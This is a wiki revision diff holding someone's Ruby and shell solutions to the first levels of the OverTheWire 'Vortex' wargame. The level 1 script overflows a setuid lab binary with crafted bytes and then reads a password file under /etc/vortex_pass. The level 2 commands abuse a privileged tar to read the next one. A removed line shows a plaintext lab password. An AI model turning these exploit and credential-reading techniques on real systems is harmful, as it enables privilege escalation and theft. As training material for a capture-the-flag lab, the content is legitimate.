Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Next revision		Previous revision
security:over_the_wire:vortex [14 years ago - 2011/10/18 05:08] – created aogailsecurity:over_the_wire:vortex [14 years ago - 2011/10/21 20:43] (current) – aogail
Line 2: Line 2:
  
 ===== Level 0 ===== ===== Level 0 =====
 +
 +<code ruby level0.rb>
 +require 'socket'
 +
 +TCPSocket.open('vortex.labs.overthewire.org', 5842) do |s|
 +  sum = 0
 +  4.times {sum += s.recv(4).unpack('V').first}
 +  s.send([sum].pack('V'), 0)
 +  response = ''
 +  response += s.read() until s.eof?
 +  puts response
 +end
 +</code>
  
 ===== Level 1 ===== ===== Level 1 =====
  
-Password: 23anbT\rE+<code ruby level1.rb> 
 +require 'pty' 
 +  
 +begin 
 +  PTY.spawn("/vortex/level1") do |stdin, stdout, pid| 
 +    stdin.sync = true 
 +    reader = Thread.new { 
 +      STDOUT.sync = true 
 +      STDOUT.write(stdin.read(1)) until stdin.eof? 
 +    } 
 +    257.times {stdout.write "\\"} 
 +    1.times {stdout.write [0xca].pack('V')} 
 +    1.times {stdout.write "\\"} 
 +    1.times {stdout.write [0xff].pack('V')} 
 +    sleep 0.25 
 +    stdout.puts 
 +    sleep 0.25 
 +    stdout.write "cat /etc/vortex_pass/vortex2\n" 
 +    sleep 0.25 
 +  end 
 +rescue => e 
 +  puts e 
 +end 
 +</code> 
 + 
 +===== Level 2 ===== 
 + 
 +<code bash> 
 +/vortex/level2 /etc/vortex_pass/vortex3 
 +cat '/tmp/ownership.$$.tar' 
 +</code>